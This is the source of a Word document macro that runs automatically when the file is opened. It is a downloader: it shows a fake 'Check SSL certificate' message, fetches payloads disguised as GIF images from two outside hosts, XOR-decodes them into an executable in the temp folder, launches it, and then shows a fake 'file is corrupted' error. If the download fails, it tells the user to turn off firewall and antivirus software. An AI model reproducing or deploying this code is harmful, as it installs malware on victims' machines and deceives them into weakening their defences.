Rem Attribute VBA_ModuleType=VBADocumentModule
Option VBASupport 1
#If VBA7 And Win64 Then
Private Declare PtrSafe Function wefjwekgn Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal Operation As String, ByVal Filename As String, Optional ByVal Parameters As String, Optional ByVal Directory As String, Optional ByVal WindowStyle As Long = vbMaximizedFocus) As LongLong
Private Declare PtrSafe Function uwhdhjwgf Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare PtrSafe Function qhduhfe Lib "kernel32" Alias "GetTempFileNameA" (ByVal lpszPath As String, ByVal lpPrefixString As String, ByVal wUnique As Long, ByVal lpTempFileName As String) As Long
Private Declare PtrSafe Function jiwoiefjweg Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
#Else
Private Declare Function wefjwekgn Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal Operation As String, ByVal Filename As String, Optional ByVal Parameters As String, Optional ByVal Directory As String, Optional ByVal WindowStyle As Long = vbMaximizedFocus) As Long
Private Declare Function uwhdhjwgf Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare Function qhduhfe Lib "kernel32" Alias "GetTempFileNameA" (ByVal lpszPath As String, ByVal lpPrefixString As String, ByVal wUnique As Long, ByVal lpTempFileName As String) As Long
Private Declare Function jiwoiefjweg Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
#End If
Sub Document_Open()
Dim ujfiejgirg As String
Dim wefnwiouirh As Long
Dim mewiheij As Long
Dim wkjiegjbnffd As Integer
Dim pfkjwigjkd() As Byte
#If Win64 Then
Dim wjiejeiogif As LongLong
#Else
Dim wjiejeiogif As Long
#End If
ActiveDocument.Content.Delete
ActiveDocument.PageSetup.LeftMargin = 240
ActiveDocument.PageSetup.TopMargin = 100
Set myRange = ActiveDocument.Content
With myRange.Font
.Name = "Verdana"
.Size = 14
End With
ActiveDocument.Range.Text = "Check SSL certificate." & vbLf & " Please wait..."
DoEvents
DoEvents
DoEvents
DoEvents
ujfiejgirg = iwjhufuebnubg
wefnwiouirh = jiwoiefjweg(0, "http://galaxytown.net/store/read.gif", ujfiejgirg, 0, 0)
mewiheij = FileLen(ujfiejgirg)
If wefnwiouirh <> 0 And mewiheij < 472819 Then
wefnwiouirh = jiwoiefjweg(0, "http://www.effeelle.eu/img/logo.gif", ujfiejgirg, 0, 0)
mewiheij = FileLen(ujfiejgirg)
End If
If mewiheij < 423621 Then
ActiveDocument.Content.Delete
MsgBox "No internet access. Turn off any firewall or anti-virus software and try again.", vbCritical, "Error"
Exit Sub
End If
wkjiegjbnffd = FreeFile
Open ujfiejgirg For Binary As #wkjiegjbnffd
ReDim pfkjwigjkd(0 To LOF(wkjiegjbnffd) - 1)
Get #wkjiegjbnffd, , pfkjwigjkd()
Close #wkjiegjbnffd
Call wjhhuuuufdp(pfkjwigjkd())
ujfiejgirg = Left(ujfiejgirg, Len(ujfiejgirg) - 3)
ujfiejgirg = ujfiejgirg & "exe"
wkjiegjbnffd = FreeFile
Open ujfiejgirg For Binary As #wkjiegjbnffd
Put #wkjiegjbnffd, , pfkjwigjkd()
Close #wkjiegjbnffd
wjiejeiogif = wefjwekgn(0, "Open", "explorer.exe", ujfiejgirg)
ActiveDocument.Content.Delete
MsgBox "The file is corrupted and cannot be opened", vbCritical, "Error"
End Sub
Public Function iwjhufuebnubg() As String
Dim djfie As String * 512
Dim pwifu As String * 576
Dim dwuf As Long
Dim wefkg As String
dwuf = uwhdhjwgf(512, djfie)
If (dwuf > 0 And dwuf < 512) Then
dwuf = qhduhfe(djfie, 0, 0, pwifu)
If dwuf <> 0 Then
wefkg = Left$(pwifu, InStr(pwifu, vbNullChar) - 1)
End If
iwjhufuebnubg = wefkg
End If
End Function
Public Sub wjhhuuuufdp(pfkjwigjkd() As Byte)
Dim dfety As Long
Dim bvjwi As Long
Dim wbdys As Long
Dim dvywi(256) As Byte
Dim wdals As Long
Dim dwiqh As Long
bvjwi = UBound(pfkjwigjkd) + 1
For dfety = 10 To 265
dvywi(dfety - 10) = pfkjwigjkd(dfety)
Next
wdals = UBound(dvywi) + 1
dwiqh = 0
For dfety = 266 To (bvjwi - 267)
pfkjwigjkd(dfety - 266) = pfkjwigjkd(dfety) Xor dvywi(dwiqh)
dwiqh = dwiqh + 1
If dwiqh = (wdals - 1) Then
dwiqh = 0
End If
Next
ReDim Preserve pfkjwigjkd(bvjwi - 267)
End Sub
Comments